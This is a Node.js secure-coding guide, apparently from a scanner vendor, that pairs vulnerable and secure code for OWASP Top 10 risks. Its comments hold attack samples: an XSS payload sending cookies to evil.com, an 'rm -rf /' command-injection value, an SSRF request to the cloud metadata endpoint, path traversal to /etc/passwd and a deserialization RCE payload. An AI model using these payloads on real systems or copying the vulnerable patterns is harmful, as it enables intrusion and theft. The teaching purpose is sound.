Node.js Security Guide 2025
Node.js powers millions of production APIs, microservices, and web applications. Its non-blocking I/O model and vast npm ecosystem make it incredibly productive — but also expose a large attack surface if security is not treated as a first-class concern. This guide maps every major risk to the OWASP Top 10 (2021), includes real vulnerable-vs-secure code examples, and gives you a production-ready checklist.
1. Injection Attacks — SQL, NoSQL & Command Injection
OWASP A03:2021 — Injection • CWE-89, CWE-78, CWE-943
Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. In Node.js, this commonly manifests in database queries, shell commands, and template engines.
SQL Injection
// VULNERABLE: user input directly in SQL query
app.get("/api/users", async (req, res) => {
const id = req.query.id;
const result = await pool.query(
"SELECT * FROM users WHERE id = " + id // ← attacker sends: 1 OR 1=1
);
res.json(result.rows);
});// SECURE: parameterized query — input is escaped by the driver
app.get("/api/users", async (req, res) => {
const id = req.query.id;
const result = await pool.query(
"SELECT * FROM users WHERE id = $1",
[id] // ← bound parameter, never interpreted as SQL
);
res.json(result.rows);
});NoSQL Injection
// VULNERABLE: attacker sends { "$gt": "" } as username
app.post("/api/login", async (req, res) => {
const user = await User.findOne({
username: req.body.username, // ← can be an operator object
password: req.body.password,
});
});// SECURE: extract and validate types explicitly
app.post("/api/login", async (req, res) => {
const username = String(req.body.username);
const password = String(req.body.password);
const user = await User.findOne({ username, password });
});Command Injection
// VULNERABLE: attacker sends "127.0.0.1; rm -rf /"
app.get("/api/ping", (req, res) => {
exec("ping -c 1 " + req.query.host, (err, stdout) => {
res.send(stdout);
});
});// SECURE: use execFile (no shell) + validate input
app.get("/api/ping", (req, res) => {
const host = req.query.host;
if (!/^[a-zA-Z0-9.-]+$/.test(host)) {
return res.status(400).json({ error: "Invalid host" });
}
execFile("ping", ["-c", "1", host], (err, stdout) => {
res.send(stdout);
});
});2. Cross-Site Scripting (XSS)
OWASP A03:2021 — Injection • CWE-79
XSS allows attackers to inject client-side scripts into web pages viewed by other users. In Node.js backends, reflected XSS happens when user input is echoed back in HTML responses without encoding.
// VULNERABLE: user input directly in HTML response
app.get("/search", (req, res) => {
res.send(`<h1>Results for: ${req.query.q}</h1>`);
// attacker sends: ?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
});import escape from "escape-html";
app.get("/search", (req, res) => {
const safeQ = escape(req.query.q || "");
res.set("Content-Security-Policy", "default-src 'self'; script-src 'self'");
res.send(`<h1>Results for: ${safeQ}</h1>`);
});- Always encode output: use
escape-htmlfor HTML context,encodeURIComponent()for URLs. - Set
Content-Security-Policyheaders to block inline scripts. - Use templating engines that auto-escape by default (Pug, Handlebars with escaping, React JSX).
- Never use
dangerouslySetInnerHTMLorinnerHTMLwith user-controlled data.
3. Authentication & Session Security
OWASP A07:2021 — Identification and Authentication Failures • CWE-287, CWE-798
Password Hashing
// VULNERABLE: MD5 is not a password hashing function
const hash = crypto.createHash("md5").update(password).digest("hex");
if (hash === storedHash) { /* login */ }import bcrypt from "bcrypt";
// Registration — hash with cost factor 12
const hash = await bcrypt.hash(password, 12);
// Login — constant-time comparison built into bcrypt.compare
const valid = await bcrypt.compare(password, storedHash);JWT Security
// VULNERABLE: secret in source code, no expiration
const token = jwt.sign({ userId }, "my-secret-key-123");const token = jwt.sign({ userId }, process.env.JWT_SECRET, {
expiresIn: "1h",
algorithm: "HS256", // pin algorithm to prevent "none" algorithm attack
});
// Verification — always specify algorithms
jwt.verify(token, process.env.JWT_SECRET, { algorithms: ["HS256"] });Session Cookies
- Set
httpOnly: true— prevents JavaScript access (mitigates XSS cookie theft). - Set
secure: true— cookies only sent over HTTPS. - Set
sameSite: "strict"or"lax"— mitigates CSRF. - Use short session lifetimes and implement token rotation.
- Store sessions server-side (Redis, database) rather than in cookies for sensitive apps.
4. Broken Access Control
OWASP A01:2021 — Broken Access Control • CWE-284, CWE-639
// VULNERABLE: any authenticated user can access any account
app.get("/api/account/:id", authMiddleware, async (req, res) => {
const account = await Account.findById(req.params.id);
res.json(account); // ← user A can read user B's data by guessing ID
});app.get("/api/account/:id", authMiddleware, async (req, res) => {
const account = await Account.findById(req.params.id);
if (!account) return res.status(404).json({ error: "Not found" });
// Verify ownership or admin role
if (account.userId !== req.user.id && req.user.role !== "admin") {
return res.status(403).json({ error: "Forbidden" });
}
res.json(account);
});- Always verify the requesting user owns the resource or has the required role.
- Deny by default — require explicit permission grants for each endpoint.
- Use middleware to enforce role-based access control (RBAC) consistently.
- Log authorization failures for security monitoring.
5. Dependency & Supply Chain Security
OWASP A06:2021 — Vulnerable and Outdated Components • CWE-1104
The average Node.js project pulls in hundreds of transitive dependencies from npm. A single compromised or vulnerable package can expose your entire application.
# Check for known vulnerabilities
npm audit
# Auto-fix when possible
npm audit fix
# Check for outdated packages
npm outdated
# Use lockfile-lint to detect lockfile tampering
npx lockfile-lint --path package-lock.json --type npm --allowed-hosts npm- Run
npm auditin CI/CD pipelines — fail the build on critical/high findings. - Pin exact dependency versions in production (
"lodash": "4.17.21"not"^4.17.0"). - Review new dependencies before adding: check maintenance activity, download counts, and known issues.
- Use
package-lock.jsonand commit it to source control to prevent supply-chain attacks via version drift. - Consider using
npm ciin production builds for deterministic installs. - Use ShieldX SAST Scanner to scan your project code for vulnerabilities alongside dependency checks.
6. Prototype Pollution
OWASP A03:2021 — Injection • CWE-1321
Prototype pollution occurs when an attacker can inject properties into JavaScript's Object.prototype, which then affects all objects in the application. This is especially dangerous in Node.js because a single polluted prototype can escalate to RCE (Remote Code Execution) through certain libraries.
import _ from "lodash";
// VULNERABLE: attacker sends { "__proto__": { "isAdmin": true } }
app.post("/api/config", (req, res) => {
const config = {};
_.merge(config, req.body);
// Now ({}).isAdmin === true for ALL objects in the process!
});import { z } from "zod";
const configSchema = z.object({
theme: z.enum(["light", "dark"]),
language: z.string().max(5),
});
app.post("/api/config", (req, res) => {
const parsed = configSchema.parse(req.body); // rejects unexpected keys
const config = Object.create(null); // no prototype chain
Object.assign(config, parsed);
});- Never pass raw request bodies to
_.merge,_.defaultsDeep, orObject.assign. - Validate and allowlist input keys using Zod, Joi, or similar schema validators.
- Use
Object.create(null)for dictionaries that should not inherit fromObject.prototype. - Keep lodash updated — older versions have known prototype pollution CVEs.
7. Server-Side Request Forgery (SSRF)
OWASP A10:2021 — SSRF • CWE-918
// VULNERABLE: attacker sends url=http://169.254.169.254/latest/meta-data/
app.get("/api/preview", async (req, res) => {
const response = await fetch(req.query.url); // ← fetches AWS metadata endpoint
const html = await response.text();
res.send(html);
});import { URL } from "url";
const ALLOWED_HOSTS = new Set(["api.example.com", "cdn.example.com"]);
app.get("/api/preview", async (req, res) => {
const parsed = new URL(req.query.url);
// Block private IPs and non-allowed hosts
if (!ALLOWED_HOSTS.has(parsed.hostname)) {
return res.status(403).json({ error: "Host not allowed" });
}
if (parsed.protocol !== "https:") {
return res.status(400).json({ error: "HTTPS required" });
}
const response = await fetch(parsed.toString());
res.send(await response.text());
});8. Secure File Uploads
OWASP A04:2021 — Insecure Design • CWE-434
// VULNERABLE: no file type, size, or name validation
app.post("/upload", upload.single("file"), (req, res) => {
const dest = path.join("/uploads", req.file.originalname);
fs.renameSync(req.file.path, dest); // ← path traversal via "../../etc/passwd"
});import { randomUUID } from "crypto";
import path from "path";
const ALLOWED_TYPES = new Set(["image/jpeg", "image/png", "application/pdf"]);
const MAX_SIZE = 10 * 1024 * 1024; // 10 MB
app.post("/upload", upload.single("file"), (req, res) => {
if (!req.file) return res.status(400).json({ error: "No file" });
if (!ALLOWED_TYPES.has(req.file.mimetype)) {
return res.status(400).json({ error: "File type not allowed" });
}
if (req.file.size > MAX_SIZE) {
return res.status(400).json({ error: "File too large" });
}
// Use random name to prevent path traversal and overwrites
const ext = path.extname(req.file.originalname).toLowerCase();
const safeName = randomUUID() + ext;
const dest = path.join("/uploads", safeName);
// Verify resolved path is within upload directory
if (!dest.startsWith("/uploads/")) {
return res.status(400).json({ error: "Invalid path" });
}
fs.renameSync(req.file.path, dest);
res.json({ filename: safeName });
});9. Secrets Management
OWASP A07:2021 — Identification and Authentication Failures • CWE-798
// VULNERABLE: credentials in source code
const db = new Pool({
user: "admin",
password: "SuperSecret123!",
host: "db.production.internal",
});// SECURE: credentials from environment
const db = new Pool({
user: process.env.DB_USER,
password: process.env.DB_PASSWORD,
host: process.env.DB_HOST,
ssl: { rejectUnauthorized: true },
});
// .env file (NEVER committed to git)
// DB_USER=admin
// DB_PASSWORD=SuperSecret123!
// DB_HOST=db.production.internal- Never commit
.envfiles or secrets to source control — add.envto.gitignore. - Use a secrets manager (AWS Secrets Manager, HashiCorp Vault, Doppler) in production.
- Rotate API keys and database credentials on a regular schedule.
- Use separate credentials for development, staging, and production environments.
- Audit your codebase with ShieldX to detect hardcoded secrets automatically.
10. Security Headers & CORS
OWASP A05:2021 — Security Misconfiguration • CWE-693, CWE-942
// VULNERABLE: accepts requests from any origin with credentials
app.use(cors({
origin: "*",
credentials: true,
}));import helmet from "helmet";
import cors from "cors";
app.use(helmet()); // sets 15+ security headers automatically
app.use(cors({
origin: ["https://app.example.com", "https://admin.example.com"],
credentials: true,
methods: ["GET", "POST", "PUT", "DELETE"],
allowedHeaders: ["Content-Type", "Authorization"],
}));Security headers set by helmet:
Strict-Transport-Security— forces HTTPS for future requests.X-Content-Type-Options: nosniff— prevents MIME-type sniffing.X-Frame-Options: DENY— prevents clickjacking via iframes.Content-Security-Policy— controls which resources can load on the page.Referrer-Policy— controls how much referrer info is sent.Permissions-Policy— disables browser features you don't use (camera, microphone, etc.).
11. Cryptography Best Practices
OWASP A02:2021 — Cryptographic Failures • CWE-327, CWE-330
// VULNERABLE: MD5 is broken for integrity, Math.random is predictable
const checksum = crypto.createHash("md5").update(data).digest("hex");
const token = Math.random().toString(36).slice(2);// SECURE: SHA-256 for integrity, crypto for randomness
const checksum = crypto.createHash("sha256").update(data).digest("hex");
const token = crypto.randomBytes(32).toString("hex");
const uuid = crypto.randomUUID();- Use SHA-256+ for hashing, AES-256-GCM for encryption, bcrypt/argon2 for passwords.
- Never use
MD5,SHA-1, orMath.random()for anything security-sensitive. - Use
crypto.randomBytes()orcrypto.randomUUID()for tokens, nonces, and session IDs. - Use
crypto.timingSafeEqual()for comparing secrets to prevent timing attacks.
12. Error Handling & Logging
OWASP A09:2021 — Security Logging and Monitoring Failures • CWE-209, CWE-532
// VULNERABLE: leaks internal paths, library versions, DB schema
app.use((err, req, res, next) => {
res.status(500).json({
error: err.message,
stack: err.stack, // ← attacker sees: at /app/src/db/users.js:42:15
});
});import pino from "pino";
const logger = pino({ level: "info" });
app.use((err, req, res, next) => {
// Log full details server-side
logger.error({ err, url: req.url, method: req.method }, "Unhandled error");
// Generic message to client
res.status(500).json({ error: "Internal server error" });
});- Never expose stack traces, error messages, or internal paths in production responses.
- Use structured logging (
pino,winston) for aggregation and alerting. - Log security events: failed logins, authorization failures, input validation errors.
- Do not log sensitive data (passwords, tokens, PII) — redact before logging.
13. Rate Limiting & DoS Protection
OWASP A04:2021 — Insecure Design • CWE-770
import rateLimit from "express-rate-limit";
// Global rate limit: 100 requests per 15 minutes per IP
app.use(rateLimit({
windowMs: 15 * 60 * 1000,
max: 100,
standardHeaders: true,
legacyHeaders: false,
message: { error: "Too many requests, try again later" },
}));
// Stricter limit on login endpoint
app.post("/api/login", rateLimit({
windowMs: 15 * 60 * 1000,
max: 5, // only 5 login attempts per 15 mins
}), loginHandler);- Apply global rate limiting and stricter limits on auth endpoints.
- Use
express-rate-limitwith a Redis/Memcached store in multi-instance deployments. - Set request body size limits:
express.json({ limit: "1mb" }). - Set request timeouts to prevent slowloris-style attacks.
14. ReDoS (Regular Expression Denial of Service)
OWASP A04:2021 — Insecure Design • CWE-1333
Poorly written regular expressions can be exploited to cause catastrophic backtracking, freezing the event loop and denying service to all users.
// VULNERABLE: catastrophic backtracking on long input
const emailRegex = /^([a-zA-Z0-9]+)+@[a-zA-Z0-9]+\.[a-zA-Z]+$/;
if (emailRegex.test(userInput)) { /* ... */ }
// Input "aaaaaaaaaaaaaaaaaaaaaaaaaaaa!" causes ~2^28 operations// SECURE: use a well-tested email validation library
import { z } from "zod";
const schema = z.object({ email: z.string().email() });
// Or use RE2 for guaranteed linear-time matching
import RE2 from "re2";
const safeRegex = new RE2("^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$");15. Insecure Deserialization
OWASP A08:2021 — Software and Data Integrity Failures • CWE-502
import serialize from "node-serialize";
// VULNERABLE: enables Remote Code Execution (RCE)
app.post("/api/restore", (req, res) => {
const obj = serialize.unserialize(req.body.data);
// attacker sends: {"exploit":"_$$ND_FUNC$$_function(){require('child_process').exec('...')}()"}
});import { z } from "zod";
const restoreSchema = z.object({
name: z.string().max(100),
settings: z.record(z.string()),
});
app.post("/api/restore", (req, res) => {
const data = restoreSchema.parse(JSON.parse(req.body.data));
// Only accepted fields pass through; no code execution possible
});16. HTTPS & Transport Security
OWASP A02:2021 — Cryptographic Failures • CWE-319
- Enforce HTTPS using HSTS headers:
Strict-Transport-Security: max-age=31536000; includeSubDomains. - Redirect all HTTP traffic to HTTPS at the load balancer or reverse proxy level.
- Never transmit tokens, passwords, or PII over plain HTTP.
- Use TLS 1.2+ only — disable TLS 1.0 and 1.1 in your Node.js
tls.createServeroptions. - Validate TLS certificates in outbound requests (
rejectUnauthorized: true).
17. Production Security Checklist
18. Recommended Security Tools
ShieldX by SecureCodeReviews
SAST scanner for JS/TS/Java/C++/C# — catches 50+ vulnerability types with zero false positives
helmet
Sets 15+ security HTTP headers automatically
express-rate-limit
IP-based rate limiting middleware
zod
Type-safe input validation and schema parsing
joi
Powerful object schema validation
pino
Ultra-fast structured logging
npm audit
Built-in dependency vulnerability scanner
RE2
Safe regex engine immune to ReDoS
Further Reading
- OWASP Node.js Security Cheat Sheet
- Node.js Official Security Best Practices
- OWASP Top 10 (2021)
- CWE Top 25 Most Dangerous Software Weaknesses
Scan Your Node.js Code for Free
ShieldX detects SQL injection, XSS, command injection, hardcoded secrets, prototype pollution, and 50+ more vulnerability types — directly in your browser, no install needed.
Try ShieldX Free →